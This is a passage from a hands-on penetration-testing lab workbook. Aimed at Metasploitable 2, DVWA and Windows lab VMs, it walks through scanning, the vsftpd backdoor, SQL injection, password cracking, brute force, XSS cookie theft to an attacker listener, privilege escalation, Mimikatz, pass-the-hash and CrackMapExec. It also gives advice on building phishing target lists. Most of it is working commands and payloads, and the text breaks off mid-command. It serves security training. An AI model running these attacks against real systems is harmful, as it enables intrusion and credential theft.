~/pentest/live_subdomains.txt # httpx: sudo apt install httpx (or: go install github.com/projectdiscovery/httpx/cmd/httpx@latest)
| Output Section | What It Means | How to Use It |
|---|---|---|
| Emails found | Email addresses associated with the domain | Identify email format, build phishing target lists, search in breach databases (HaveIBeenPwned) |
| Hosts found | Subdomains and IP addresses | Add to Phase 2 scan scope — each host is a potential attack surface |
| IPs found | IP addresses linked to the domain | Identify IP ranges owned by the target, look for other hosts on same IP |
| Shodan results | Open ports and banners from Shodan's index | Quick port intelligence without scanning — great for early triage |
| LinkedIn names | Employee names from LinkedIn profiles | Combine with email format to construct employee email addresses |
john.smith@company.com, go to LinkedIn and collect all employee names. Construct their email addresses and check them against haveibeenpwned.com — you may find employees whose credentials were leaked in third-party data breaches. This is one of the most impactful findings in a real engagement and costs zero effort.Full Port Scan & Service Enumeration on Metasploitable 2
Metasploitable 2 VM running on Host-Only network. Your Kali machine must be on the same Host-Only adapter. Default credentials: msfadmin / msfadmin
- Discover the Metasploitable 2 host on your lab network.
- Perform a comprehensive port scan across all 65,535 ports.
- Identify all running services, versions, and potential vulnerabilities.
- Interpret Nmap output and prioritize findings by exploitability.
- Start Metasploitable 2 VM. Open a terminal in the VM and run ifconfig to get its IP address. Write it down — you'll use it throughout this workbook.
- On your Kali machine, confirm you can reach the target with a ping:
ping -c 4 <TARGET_IP> - Run a fast initial scan (top 1000 ports) to quickly see what's open. This gives you a working map within seconds.
- Run a full scan across all 65,535 ports with version and script detection. This takes longer but ensures you don't miss services on unusual ports.
- Run SMB-specific enumeration with enum4linux to extract OS info, users, and shares.
- Run web directory enumeration against port 80 to find hidden pages and admin interfaces.
- Run the Nmap vulnerability scripts against the most interesting services found.
- Review all output and fill in the findings table below. Prioritize by: RCE first, auth bypass second, info disclosure third.
# Step 1: Host discovery — find Metasploitable on your network nmap -sn 192.168.56.0/24 # Note the IP — replace TARGET_IP below TARGET_IP=192.168.56.101 # ← change to yours # Step 2: Fast initial scan (top 1000 ports) nmap -sV --open -T4 $TARGET_IP # Step 3: Full comprehensive scan (all ports) nmap -sS -sV -sC -p- --open -T4 $TARGET_IP -oA ~/pentest/lab2/metasploitable_full # -sS = SYN scan, -sV = versions, -sC = default scripts, -p- = all ports # Step 4: SMB / NetBIOS enumeration enum4linux -a $TARGET_IP | tee ~/pentest/lab2/enum4linux.txt # Look for: OS version, workgroup, shares, user accounts, password policies # Step 5: Web directory enumeration gobuster dir -u http://$TARGET_IP \ -w /usr/share/wordlists/dirb/common.txt \ -x php,html,txt,bak \ -o ~/pentest/lab2/gobuster.txt # Step 6: Web server vulnerability scan nikto -h http://$TARGET_IP -o ~/pentest/lab2/nikto.html -Format html # Step 7: Vulnerability-specific scripts nmap --script vuln $TARGET_IP -oN ~/pentest/lab2/vuln_scan.txt nmap --script smb-vuln-ms17-010 $TARGET_IP # check for EternalBlue # Step 8: SNMP enumeration (if port 161 is open) nmap -sU -p 161 $TARGET_IP snmpwalk -c public -v1 $TARGET_IP 2>/dev/null | head -30
| Port | Service | Version | Known Vulnerability |
|---|---|---|---|
| 21 | FTP | vsftpd 2.3.4 | CVE-2011-2523 — Backdoor RCE |
| 22 | SSH | OpenSSH 4.7p1 | Weak credentials (msfadmin/msfadmin) |
| 23 | Telnet | Linux telnetd | Unencrypted, cleartext credentials |
| 80 | HTTP | Apache 2.2.8 | DVWA, phpMyAdmin exposed |
| 139/445 | SMB | Samba 3.0.20 | CVE-2007-2447 — Username map script RCE |
| 3306 | MySQL | MySQL 5.0.51a | No root password set by default |
| 5432 | PostgreSQL | PostgreSQL 8.3 | Default credentials: postgres/postgres |
Web Application Enumeration with Burp Suite & ffuf
- Configure Burp Suite as a proxy and intercept browser traffic.
- Spider a web application to map its structure and endpoints.
- Use ffuf to fuzz hidden directories, parameters, and virtual hosts.
- Start DVWA:
docker run --rm -d -p 80:80 vulnerables/web-dvwathen log in at http://localhost (admin/password). - Open Burp Suite Community (pre-installed in Kali). Go to Proxy → Intercept → turn Intercept off. Configure Firefox to use proxy
127.0.0.1:8080. - Browse around DVWA with Firefox. Watch Burp Suite's HTTP history fill up — every request is captured. This is your application map.
- In Burp, right-click a request → Send to Repeater → modify parameters manually and resend to understand how the app responds to unexpected input.
- Run ffuf to discover hidden directories and backup files not found by browser browsing.
- Document every endpoint found, its HTTP method, parameters, and whether authentication is required.
# Directory fuzzing ffuf -u http://localhost/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -mc 200,301,302,403 \ -o ffuf_dirs.json -of json # File fuzzing with extensions ffuf -u http://localhost/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \ -e .php,.html,.bak,.txt,.sql \ -mc 200,301 -fc 404 # Parameter fuzzing (GET) ffuf -u 'http://localhost/dvwa/vulnerabilities/sqli/?FUZZ=1&Submit=Submit' \ -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \ -mc 200 -fs 0 # Virtual host discovery ffuf -u http://TARGET_IP/ \ -H "Host: FUZZ.target.com" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -mc 200 -fs 0
Phase 3 Exploitation
Exploitation leverages identified vulnerabilities to gain unauthorized access. This phase requires the most care — document every action with timestamps, and stop immediately if you exceed defined scope. The goal is to demonstrate impact, not cause damage.
Metasploit Framework Concepts
| Concept | Description |
|---|---|
| Module | A unit of code: exploit, auxiliary, payload, post, or encoder |
| Exploit | Code that takes advantage of a vulnerability to trigger unintended behavior |
| Payload | Code delivered after exploit success — creates a shell or Meterpreter session |
| Meterpreter | Advanced in-memory payload running over an encrypted channel with rich post-exploit features |
| RHOSTS | Remote host(s) — the target IP address(es) |
| LHOST / LPORT | Your attacker machine IP and listening port for reverse shells |
| Listener | A handler waiting for an incoming connection from a payload (use/multi/handler) |
Exploit vsftpd 2.3.4 Backdoor (CVE-2011-2523)
vsftpd 2.3.4 was distributed with a deliberate backdoor inserted by an attacker who compromised the SourceForge package. When a username containing the smiley :) is submitted, the FTP daemon opens a bind shell on TCP port 6200, granting root access to anyone who connects. This is a real CVE from 2011 that still exists on Metasploitable 2 intentionally.
- Identify the vulnerable vsftpd version from Phase 2 scan results.
- Use Metasploit to exploit the backdoor and obtain a root shell.
- Demonstrate business impact by accessing sensitive files.
- Write a finding entry for this vulnerability in the report template.
- Open your Phase 2 scan results and confirm port 21 is running vsftpd 2.3.4. The Nmap output should show:
21/tcp open ftp vsftpd 2.3.4. - Launch msfconsole. The -q flag suppresses the banner (quieter start).
- Search for the vsftpd backdoor module using the search command. You'll see the module listed.
- Load the exploit module. Notice how the prompt changes to show the active module.
- View the required and optional options with the options command. You need to set RHOSTS at minimum.
- Set the target IP (RHOSTS) to your Metasploitable 2 IP address.
- Run the exploit. If successful, you'll get a shell — not a Meterpreter session, just a raw shell because this is a bind shell backdoor.
- Verify root access by running
idandwhoami. Collect evidence by reading /etc/shadow (which contains password hashes). - Document this as a CRITICAL finding in your lab report.
# Step 1: Launch Metasploit msfconsole -q # Step 2: Search for the module msf6 > search vsftpd # Output: exploit/unix/ftp/vsftpd_234_backdoor # Step 3: Select the module msf6 > use exploit/unix/ftp/vsftpd_234_backdoor # Step 4: View options msf6 exploit(vsftpd_234_backdoor) > options # Step 5: Set target IP msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101 # Step 6: Launch exploit msf6 exploit(vsftpd_234_backdoor) > run # Expected: "Command shell session 1 opened" # Step 7: Post-exploit verification id # should return: uid=0(root) gid=0(root) whoami # root hostname && ifconfig # target info cat /etc/shadow # hashed passwords — CRITICAL finding evidence cat /etc/passwd # user accounts on the system ls /home # home directories uname -a # kernel and OS version
SQL Injection Attack on DVWA
SQL injection has been in the OWASP Top 10 since 2003 and remains one of the most prevalent vulnerabilities in web applications. It occurs when user-supplied input is embedded directly into SQL queries without sanitization, allowing an attacker to modify the query logic and access, modify, or delete database contents.
- Manually identify a SQL injection point using error-based testing.
- Determine the number of database columns and extract the database banner.
- Automate extraction of usernames and password hashes with sqlmap.
- Crack the extracted MD5 hashes using John the Ripper.
- Start DVWA:
docker run --rm -d -p 80:80 vulnerables/web-dvwa. Log in at http://localhost (admin/password). Navigate to DVWA Security → set to Low. Then go to SQL Injection. - In the "User ID" field enter:
1'(a single quote). Submit. You should see a MySQL error — this confirms SQL injection is possible. - Find the number of columns: try
1' ORDER BY 1--,1' ORDER BY 2--, etc. until you get an error. If ORDER BY 3 errors, there are 2 columns. - Extract database name:
1' UNION SELECT database(), version()-- - Get all tables:
1' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema=database()-- - Dump the users table:
1' UNION SELECT user, password FROM users-- - Now run sqlmap to automate the same process. You need the session cookie from browser DevTools (F12 → Application → Cookies → PHPSESSID).
- Crack the extracted MD5 hashes.
# ── HYDRA — Brute-force DVWA HTTP login form ────────────────────── # First, examine the login form request in Burp Suite to get the POST body and failure string hydra -l admin -P /usr/share/wordlists/rockyou.txt \ localhost http-post-form \ "/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" \ -V -t 10 # Brute-force SSH service (Metasploitable 2) hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt \ ssh://192.168.56.101 -V -t 4 # Brute-force FTP hydra -l admin -P /usr/share/wordlists/rockyou.txt \ ftp://192.168.56.101 -V # Brute-force MySQL (port 3306) hydra -l root -P /usr/share/wordlists/rockyou.txt \ 192.168.56.101 mysql -V # TIP: -t controls parallel tasks (lower = less noise), -V = verbose output # Always check if there is account lockout before brute-forcing in production!
# ── MANUAL TESTING ──────────────────────────────────────────────── # Enter these in the User ID field in DVWA browser: # Test injection: 1' # Determine columns: 1' ORDER BY 1-- then 1' ORDER BY 2-- # Extract DB name: 1' UNION SELECT database(), version()-- # List tables: 1' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database()-- # Dump users: 1' UNION SELECT user, password FROM users-- # ── AUTOMATED WITH SQLMAP ───────────────────────────────────────── # Replace SESSION with your actual PHPSESSID cookie value from DevTools SESSION="your_phpsessid_here" # Step 1: Enumerate all databases sqlmap -u 'http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit' \ --cookie="PHPSESSID=${SESSION};security=low" \ --dbs --batch # Step 2: List tables in dvwa database sqlmap -u 'http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit' \ --cookie="PHPSESSID=${SESSION};security=low" \ -D dvwa --tables --batch # Step 3: Dump the users table sqlmap -u 'http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit' \ --cookie="PHPSESSID=${SESSION};security=low" \ -D dvwa -T users --dump --batch # ── CRACK THE HASHES ────────────────────────────────────────────── # Save extracted hashes to a file echo "5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt # 'password' MD5 echo "e99a18c428cb38d5f260853678922e03" >> hashes.txt # 'abc123' MD5 # Crack with John the Ripper john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt john --show --format=raw-md5 hashes.txt # Alternative: crack with Hashcat (GPU, much faster) hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
Password Hash Cracking — Hashcat & John the Ripper
Whenever you extract hashed credentials — from a database dump, /etc/shadow, an NTLM capture, or a SAM database — your next step is offline cracking. Cracked passwords enable account takeover, credential reuse attacks across other services, and direct evidence of weak password policies in your report. Hashcat uses the GPU (extremely fast), John the Ripper uses the CPU (flexible and automatic format detection).
- Identify common hash types by their format and length.
- Crack MD5, SHA-1, and NTLM hashes using wordlist attacks with Hashcat.
- Use rule-based and combination attacks to crack complex passwords.
- Crack Linux /etc/shadow hashes with John the Ripper.
- Crack protected ZIP and PDF files with John the Ripper.
- Build a custom wordlist using CeWL (website word scraper).
| Hash Type | Example Hash | Length | Hashcat -m | John Format |
|---|---|---|---|---|
| MD5 | 5f4dcc3b5aa765d61d8327deb882cf99 | 32 hex chars | 0 | raw-md5 |
| SHA-1 | 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 | 40 hex chars | 100 | raw-sha1 |
| SHA-256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4e... | 64 hex chars | 1400 | raw-sha256 |
| NTLM | 31d6cfe0d16ae931b73c59d7e0c089c0 | 32 hex chars | 1000 | nt |
| bcrypt | $2y$10$N9qo8uLOickgx2ZMRZoMy... | 60 chars, $2y$ prefix | 3200 | bcrypt |
| Linux SHA-512 | $6$salt$hash... | $6$ prefix | 1800 | sha512crypt |
- Create a hash file with the sample hashes provided below for practice.
- Identify each hash type by its length and prefix before choosing the cracking mode.
- Run a straight wordlist attack using rockyou.txt — this cracks the majority of weak passwords.
- Apply rules to the wordlist (capitalisation, number substitution, appending years) — this cracks medium-strength passwords.
- For /etc/shadow hashes from Metasploitable 2, use John with automatic format detection.
- Use CeWL to generate a custom wordlist from the target's own website — often cracks organisation-specific passwords.
- Document the cracked credentials, the hash type, the attack mode used, and the time taken.
# ── SETUP ───────────────────────────────────────────────────────── mkdir -p ~/pentest/lab-passwords && cd ~/pentest/lab-passwords # Create practice hash file cat > hashes.txt << 'EOF' 5f4dcc3b5aa765d61d8327deb882cf99 e99a18c428cb38d5f260853678922e03 482c811da5d5b4bc6d497ffa98491e38 8621ffdbc5698829397d97767ac13db3 EOF # ── HASHCAT — WORDLIST ATTACK ───────────────────────────────────── # -m 0 = MD5 -a 0 = straight wordlist --show = display cracked hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt \ --outfile cracked_md5.txt --outfile-format 2 hashcat -m 0 hashes.txt --show # display results # ── HASHCAT — RULE-BASED ATTACK (cracks complex passwords) ──────── # Rules mutate words: Password → P@ssword → P@ssw0rd → Password2024! hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/rockyou-30000.rule # ── HASHCAT — NTLM (Windows hashes from hashdump/Mimikatz) ──────── echo "31d6cfe0d16ae931b73c59d7e0c089c0" > ntlm_hashes.txt hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 1000 ntlm_hashes.txt --show # ── HASHCAT — SHA-1 ─────────────────────────────────────────────── echo "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" > sha1.txt hashcat -m 100 -a 0 sha1.txt /usr/share/wordlists/rockyou.txt # ── HASHCAT — MASK ATTACK (pattern-based brute force) ───────────── # ?u = uppercase, ?l = lowercase, ?d = digit, ?s = special char hashcat -m 0 -a 3 hashes.txt "?u?l?l?l?l?d?d?d" # e.g. Password123 hashcat -m 0 -a 3 hashes.txt "Company?d?d?d?d!" # common corporate pattern # ── HASHCAT — COMBINATION ATTACK ───────────────────────────────── # Combines words from two wordlists: "dragon" + "2024" = "dragon2024" hashcat -m 0 -a 1 hashes.txt \ /usr/share/wordlists/rockyou.txt \ /usr/share/seclists/Passwords/years.txt # ── LIST ALL SUPPORTED HASH TYPES ──────────────────────────────── hashcat --example-hashes | grep -A 2 "NTLM\|MD5\|SHA"
# ── JOHN — AUTO-DETECT FORMAT (simplest usage) ──────────────────── john hashes.txt # auto-detects hash type and starts cracking john hashes.txt --show # show already cracked passwords # ── JOHN — SPECIFIC FORMAT + WORDLIST ──────────────────────────── john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt ntlm_hashes.txt # ── JOHN — CRACK /etc/shadow (from Metasploitable 2) ────────────── # First, unshadow combines /etc/passwd and /etc/shadow sudo unshadow /etc/passwd /etc/shadow > combined_shadow.txt john --wordlist=/usr/share/wordlists/rockyou.txt combined_shadow.txt john --show combined_shadow.txt # ── JOHN — CRACK A PASSWORD-PROTECTED ZIP ───────────────────────── # First extract the hash from the zip file zip2john protected.zip > zip_hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt john --show zip_hash.txt # ── JOHN — CRACK A PASSWORD-PROTECTED PDF ───────────────────────── pdf2john protected.pdf > pdf_hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hash.txt # ── JOHN — CRACK SSH PRIVATE KEY PASSPHRASE ────────────────────── ssh2john id_rsa > ssh_hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash.txt john --show ssh_hash.txt # ── JOHN — RULE-BASED ATTACK ───────────────────────────────────── john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt \ --rules=best64 hashes.txt
# CeWL scrapes a website and generates a wordlist from its content # Useful because employees often use company-related words as passwords # Install CeWL sudo apt install cewl # Generate wordlist from target website (depth 3, min 8 chars) cewl http://TARGET_IP -d 3 -m 8 -w custom_wordlist.txt wc -l custom_wordlist.txt # Include emails found on the site cewl http://TARGET_IP -d 2 -e --email_file emails.txt -w words.txt # Use the custom wordlist with John john --wordlist=custom_wordlist.txt --format=raw-md5 hashes.txt # Use with Hashcat + rules for even better coverage hashcat -m 0 -a 0 hashes.txt custom_wordlist.txt \ -r /usr/share/hashcat/rules/best64.rule
Cross-Site Scripting (XSS) on DVWA
- Identify and exploit Reflected XSS in a search parameter.
- Identify and exploit Stored XSS in a comment field.
- Demonstrate session cookie theft via XSS.
- Understand the difference between Reflected, Stored, and DOM-based XSS.
| Type | How it Works | Impact |
|---|---|---|
| Reflected | Malicious script in URL parameter, reflected in response | Session hijacking, phishing (requires victim to click a link) |
| Stored | Malicious script saved to database, served to all visitors | Mass session hijacking, account takeover (most dangerous) |
| DOM-based | JavaScript reads URL/DOM and writes it unsanitized | Client-side execution without server involvement |
// ── Basic detection payloads (enter in input fields) ────────────── <script>alert(document.domain)</script> <img src=x onerror=alert(1)> <svg onload=alert(document.cookie)> "><script>alert(1)</script> // ── Cookie theft via XSS (Stored — most dangerous) ───────────────── // Set up a listener: python3 -m http.server 9000 // Then inject this payload in DVWA Stored XSS section: <script> fetch('http://YOUR_KALI_IP:9000/steal?cookie=' + btoa(document.cookie)); </script> // ── DOM-based XSS test in DVWA DOM section ───────────────────────── // Modify the URL parameter directly: http://localhost/dvwa/vulnerabilities/xss_d/?default=<script>alert(1)</script> // ── Filter bypass payloads (for Medium security level) ───────────── <ScRiPt>alert(1)</ScRiPt> // case variation <img src=x onerror="alert(1)"> // HTML entity encoding <details open ontoggle=alert(1)> // HTML5 event
Phase 4 Post-Exploitation
Post-exploitation demonstrates the true business impact of a successful breach. Activities include privilege escalation (gaining higher permissions), persistence (surviving reboots), lateral movement (reaching other systems), and data exfiltration. Every action must be logged with timestamps.
Linux Privilege Escalation via SUID Binary
The SUID (Set User ID) bit on an executable causes it to run as the file owner (often root) rather than the user who executed it. If a SUID binary has an interactive mode or can spawn a shell, that shell inherits root privileges — regardless of who ran the binary.
| Vector | Check Command | Why It Works |
|---|---|---|
| Sudo misconfig | sudo -l | Commands allowed without password run as root |
| SUID binaries | find / -perm -u=s -type f 2>/dev/null | Run as file owner (often root) |
| Writable cron jobs | cat /etc/crontab | Inject commands run automatically as root |
| World-writable root scripts | find / -writable -type f 2>/dev/null | Replace script content |
| Kernel exploit | uname -r then search | Kernel vulnerability gives ring-0 access |
| Docker group | id | Mount host filesystem via container |
- SSH into Metasploitable 2 with msfadmin / msfadmin. Confirm you are a low-privilege user by running
id. - Enumerate all SUID binaries on the system. Pay special attention to non-standard binaries — anything not part of a default Linux install is suspicious.
- Check sudo permissions with
sudo -l. On Metasploitable 2, msfadmin may have broad sudo access. - Identify that nmap has the SUID bit set (older nmap versions have an interactive mode that can spawn a shell).
- Use nmap's interactive mode to escape to a root shell. This works because nmap runs as root (SUID), and the !sh command in interactive mode spawns a child shell inheriting those privileges.
- Verify root access, then collect evidence. Try to read the root user's private SSH key (
/root/.ssh/id_rsa) as additional proof of impact. - Run LinPEAS to automate the full privilege escalation enumeration — use this after manual enumeration to check what you missed.
# Step 1: SSH into Metasploitable 2 ssh msfadmin@192.168.56.101 # password: msfadmin id # confirm: uid=1000(msfadmin) gid=1000(msfadmin) # Step 2: Enumerate SUID binaries find / -perm -u=s -type f 2>/dev/null | tee suid_list.txt # Look for: nmap, find, vim, python, perl, bash, cp, less, more # Step 3: Check sudo permissions sudo -l # Step 4: Exploit SUID nmap (if present) ls -la /usr/bin/nmap # confirm SUID bit: -rwsr-xr-x nmap --interactive nmap> !sh # spawns a root shell! id # uid=0(root) gid=0(root) — we're root! # Step 5: Collect evidence cat /etc/shadow # all password hashes cat /root/.ssh/id_rsa 2>/dev/null # root SSH private key cat /root/.bash_history # root's command history # Step 6: Run LinPEAS (automated privesc enumeration) # On your Kali machine first: wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh python3 -m http.server 8000 # On the target: curl http://KALI_IP:8000/linpeas.sh | bash 2>/dev/null | tee linpeas_output.txt
chmod u-s /usr/bin/nmap. For GTFOBins (gtfobins.github.io) — a comprehensive reference of how SUID/sudo binaries can be abused.Windows Privilege Escalation
| Vector | Check | Exploit Method |
|---|---|---|
| AlwaysInstallElevated | reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated | Create malicious MSI, install as SYSTEM |
| Unquoted Service Paths | wmic service get name,pathname,startmode | findstr /i 'auto' | findstr /i /v 'c:\windows' | Drop exe in unquoted path segment |
| Weak Service Permissions | winPEAS / accesschk.exe | Modify service binary path |
| SeImpersonatePrivilege | whoami /priv | PrintSpoofer, JuicyPotato, RoguePotato |
| Token Impersonation | Meterpreter getsystem | Steal SYSTEM token from running process |
# Check current privileges whoami /priv whoami /groups # Local users and admins net user net localgroup administrators # AlwaysInstallElevated check reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # Find unquoted service paths wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows" # Run WinPEAS (automated enumeration) .\winpeas.exe # Meterpreter: try automated privilege escalation meterpreter > getsystem meterpreter > getuid # should show NT AUTHORITY\SYSTEM meterpreter > hashdump # dump local password hashes # Run local exploit suggester module meterpreter > run post/multi/recon/local_exploit_suggester
Lateral Movement with Pass-the-Hash
Windows NTLM authentication uses a hash of the password, not the password itself. If an attacker extracts an NTLM hash (e.g., via Mimikatz or hashdump), they can authenticate as that user without cracking the hash — passing the hash directly to the authentication protocol.
# Step 1: Extract NTLM hashes via Meterpreter meterpreter > hashdump # Output format: username:RID:LM_hash:NTLM_hash # Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 # Step 2: Use CrackMapExec for network-wide PtH spray crackmapexec smb 192.168.1.0/24 \ -u administrator \ -H 31d6cfe0d16ae931b73c59d7e0c089c0 # Green [+] = successful auth, Pwn3d! = admin access # Step 3: Execute commands on remote hosts via SMB crackmapexec smb 192.168.1.50 \ -u administrator \ -H 31d6cfe0d16ae931b73c59d7e0c089c0 \ -x "ipconfig && whoami" # Step 4: Get a remote shell with Evil-WinRM (WinRM port 5985) evil-winrm -i 192.168.1.50 \ -u administrator \ -H 31d6cfe0d16ae931b73c59d7e0c089c0 # Step 5: Mimikatz credential dump (from Windows) mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords # extract all logged-on credentials mimikatz # lsadump::sam # dump SAM database
Mimikatz — Windows Credential Extraction
Mimikatz is a post-exploitation tool created by Benjamin Delpy that extracts plaintext passwords, NTLM hashes, Kerberos tickets, and PIN codes directly from Windows memory (LSASS process). It is the most widely used credential harvesting tool in real-world attacks — referenced in virtually every major breach involving Windows Active Directory. Understanding it is essential for both offensive and defensive security work.
- Understand how Mimikatz interacts with the LSASS process.
- Extract NTLM hashes and plaintext credentials from a Windows target.
- Dump the SAM database to get local account hashes.
- Extract Kerberos tickets for pass-the-ticket attacks.
- Run Mimikatz through Meterpreter to avoid writing to disk (fileless approach).
- Understand common defensive mitigations and how to document findings.
- Obtain a Meterpreter session on your Windows Eval VM target (use Metasploit with a staged payload or any previously established session from Lab 4.2).
- Escalate to SYSTEM level — Mimikatz requires SYSTEM or debug privileges to access LSASS memory. Use
getsystemin Meterpreter. - Run Mimikatz via Meterpreter's built-in kiwi extension to avoid dropping files on disk — this is stealthier and bypasses some AV detections.
- Use
lsa_dump_samto extract local SAM database hashes. - Use
lsa_dump_secretsto extract LSA secrets including service account passwords. - Use
creds_allto harvest all credential types at once. - If running the standalone Mimikatz binary, load it and run each module manually.
- Document all extracted credentials with their type (plaintext/NTLM/Kerberos), the account name, and where they were found.
# ── STEP 1: Get Meterpreter session and escalate ────────────────── meterpreter > getuid # check current user meterpreter > getsystem # escalate to SYSTEM meterpreter > getuid # confirm: NT AUTHORITY\SYSTEM # ── STEP 2: Load Kiwi (Mimikatz as Meterpreter extension) ───────── meterpreter > load kiwi # Expected: Loading extension kiwi...Success. # ── STEP 3: Dump all credentials at once ───────────────────────── meterpreter > creds_all # Returns: NTLM hashes, plaintext passwords (if WDigest enabled), Kerberos tickets # ── STEP 4: Dump only NTLM hashes ──────────────────────────────── meterpreter > lsa_dump_sam # Output format: username : RID : LM_hash : NTLM_hash # Save these hashes for cracking with Hashcat (-m 1000) # ── STEP 5: Dump LSA secrets (service account passwords) ───────── meterpreter > lsa_dump_secrets # Reveals: DPAPI keys, cached domain credentials, service account passwords # ── STEP 6: Dump logon passwords (cleartext if WDigest active) ──── meterpreter > creds_wdigest # Windows 7/2008 R2: plaintext passwords in memory by default # Windows 10/2016+: requires registry change to re-enable WDigest # ── STEP 7: Extract Kerberos tickets ──────────────────────────── meterpreter > kerberos_ticket_list meterpreter > kerberos_ticket_purge meterpreter > kerberos_ticket_use /path/to/ticket.kirbi # ── ALTERNATIVE: Standalone Mimikatz binary ──────────────────────── # Upload binary to target first: meterpreter > upload /path/to/mimikatz.exe C:\\Windows\\Temp\\m.exe meterpreter > shell C:\Windows\Temp\m.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
# Run Mimikatz interactively on the target Windows machine mimikatz.exe # Enable debug privilege (required for memory access) mimikatz # privilege::debug # Expected: Privilege '20' OK # Dump all logged-on user credentials (NTLM + plaintext if WDigest) mimikatz # sekurlsa::logonpasswords # Shows: Username, Domain, NTLM hash, SHA1 hash, plaintext password (if available) # Dump local SAM database hashes mimikatz # lsadump::sam # Dump domain controller hashes (DCSync — requires replication rights) mimikatz # lsadump::dcsync /domain:corp.local /all /csv # This dumps EVERY account hash in the domain — full domain compromise # Extract Kerberos tickets from memory mimikatz # sekurlsa::tickets /export # Saves .kirbi files — use these for Pass-the-Ticket # Golden Ticket creation (requires domain SID + krbtgt hash) mimikatz # kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:NTLM_HASH /ptt # Pass-the-Hash: impersonate a user with just their NTLM hash mimikatz # sekurlsa::pth /user:administrator /domain:corp.local /ntlm:NTLM_HASH /run:cmd.exe
| Attack | Mitigation | Effectiveness |
|---|---|---|
| LSASS memory access | Enable Credential Guard (Windows 10+), configure LSASS as PPL (Protected Process Light) | Blocks most Mimikatz variants |
| WDigest plaintext passwords | Set HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0 | Prevents cleartext storage |
| DCSync attack | Audit and remove unnecessary Replicating Directory Changes rights | Prevents domain-wide hash dump |
| Pass-the-Hash | Enable Protected Users group, disable NTLM where possible, use Tiered Admin model | Limits lateral movement blast radius |
CrackMapExec — Network-Wide Attack Automation
CrackMapExec (CME) is the Swiss army knife of Windows and Active Directory pentesting. It automates credential testing, command execution, and data collection across entire subnets simultaneously. In a real engagement, once you have one set of credentials, CME tells you instantly which other machines those credentials work on — a critical step in assessing lateral movement risk.
- Test a single set of credentials across an entire subnet (credential spraying).
- Execute remote commands on authenticated hosts.
- Dump SAM hashes from all accessible Windows hosts.
- Enumerate shares, logged-on users, and installed software network-wide.
- Use CME with WinRM for PowerShell remoting access.
- Perform Pass-the-Hash using NTLM hashes without cracking.
- Start with a set of credentials obtained from a previous step (Lab 4.4 Mimikatz, Lab 3.2 SQL injection, or default credentials from Lab 2.1 scanning).
- Run a subnet authentication sweep to find all hosts where credentials are valid.
- On hosts marked
Pwn3d!, execute a remote command to confirm RCE. - Dump SAM hashes from all accessible hosts to collect more credentials for further lateral movement.
- Enumerate network shares to find sensitive files.
- If WinRM (port 5985) is open, use CME with the winrm protocol for a full interactive shell via evil-winrm.
- Try Pass-the-Hash using an extracted NTLM hash directly.
# ── STEP 1: Basic credential sweep across subnet ────────────────── crackmapexec smb 192.168.1.0/24 -u administrator -p "Password123" # [+] = valid credentials [Pwn3d!] = admin access (can execute code) # ── STEP 2: Credential spray (test one password against many users) crackmapexec smb 192.168.1.0/24 -u users.txt -p "Summer2024!" \ --continue-on-success # users.txt: one username per line, built from theHarvester/OSINT output # ── STEP 3: Remote command execution (on Pwn3d! hosts) ─────────── crackmapexec smb 192.168.1.10 -u administrator -p "Password123" \ -x "whoami && hostname && ipconfig" # PowerShell command execution crackmapexec smb 192.168.1.10 -u administrator -p "Password123" \ -X "Get-Process | Where-Object {$_.CPU -gt 100}" # ── STEP 4: Dump SAM hashes from all accessible hosts ───────────── crackmapexec smb 192.168.1.0/24 -u administrator -p "Password123" \ --sam # Saves hashes to ~/.cme/logs/ automatically # Dump LSA secrets (service account passwords) crackmapexec smb 192.168.1.0/24 -u administrator -p "Password123" \ --lsa # ── STEP 5: Enumerate shares ────────────────────────────────────── crackmapexec smb 192.168.1.0/24 -u administrator -p "Password123" \ --shares # Search shares for sensitive files crackmapexec smb 192.168.1.10 -u administrator -p "Password123" \ -M spider_plus -o READ_ONLY=false # ── STEP 6: Pass-the-Hash (no password needed — just NTLM 